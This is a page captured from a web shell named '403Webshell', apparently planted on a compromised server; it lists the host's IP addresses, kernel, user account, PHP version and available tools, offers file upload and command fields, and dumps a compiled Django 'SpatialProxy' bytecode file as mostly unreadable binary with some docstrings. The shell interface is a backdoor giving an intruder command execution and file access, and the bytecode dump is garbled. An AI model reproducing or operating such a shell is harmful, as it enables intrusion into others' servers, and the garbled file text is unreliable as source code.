403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/contrib/gis/db/models/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/contrib/gis/db/models/__pycache__/proxy.cpython-311.pyc
�

�|�e2��2�dZddlmZGd�de��ZdS)a
The SpatialProxy object allows for lazy-geometries and lazy-rasters. The proxy
uses Python descriptors for instantiating and setting Geometry or Raster
objects corresponding to geographic model fields.

Thanks to Robert Coup for providing this functionality (see #4322).
�)�DeferredAttributec�2��eZdZd�fd�	Zd�fd�	Zd�Z�xZS)�SpatialProxyNc�j��||_|p||_t���|��dS)zy
        Initialize on the given Geometry or Raster class (not an instance)
        and the corresponding field.
        N)�_klass�
_load_func�super�__init__)�self�klass�field�	load_func�	__class__s    ��D/usr/lib/python3/dist-packages/django/contrib/gis/db/models/proxy.pyr
zSpatialProxy.__init__s6���
���#�,�u���
�����������c�L��|�|S	|j|jj}n2#t$r%t	���||��}YnwxYwt
||j��r|}n;|�|dkrd}n0|�|��}t||jj|��|S)z�
        Retrieve the geometry or raster, initializing it using the
        corresponding class specified during initialization and the value of
        the field. Currently, GEOS or OGR geometries as well as GDALRasters are
        supported.
        N�)
�__dict__r
�attname�KeyErrorr	�__get__�
isinstancerr�setattr)r�instance�cls�	geo_value�geo_objrs     �rrzSpatialProxy.__get__s�������K�	7� �)�$�*�*<�=�I�I���	7�	7�	7�������#�6�6�I�I�I�	7�����i���-�-�	;��G�G���Y�"�_�_��G�G��o�o�i�0�0�G��H�d�j�0�'�:�:�:��s��,A�
Ac
��|jj}|dkr%|�"t|tt|jf��rn|t||j��r|j�|jj|_nN|�t|ttf��rn/td|j	j
�d|�dt|�������||j|jj
<|S)z�
        Retrieve the proxied geometry or raster with the corresponding class
        specified during initialization.

        To set geometries, use values of None, HEXEWKB, or WKT.
        To set rasters, use JSON or dict values.
        �RASTERNzCannot set z SpatialProxy (z) with value of type: )r
�	geom_typer�str�dictr�srid�
memoryview�	TypeErrorr�__name__�typerr)rr�value�gtypes    r�__set__zSpatialProxy.__set__1s����
�$���H���%�-�:�e�c�4�QU�Q\�E]�3^�3^�-�
�
��t�{�
+�
+�	B��z�!�!�Z�_��
��
�]�j���j�0A�B�B�]���)��"�+�+�+�U�U�U�D��K�K�K�A�B�B�
B�16���$�*�,�-��r)N)r&�
__module__�__qualname__r
rr*�
__classcell__)rs@rrrsj������� � � � � � �������8������rrN)�__doc__�django.db.models.query_utilsrr�rr�<module>r1sb����;�:�:�:�:�:�D�D�D�D�D�$�D�D�D�D�Dr

Youez - 2016 - github.com/yon3zu
LinuXploit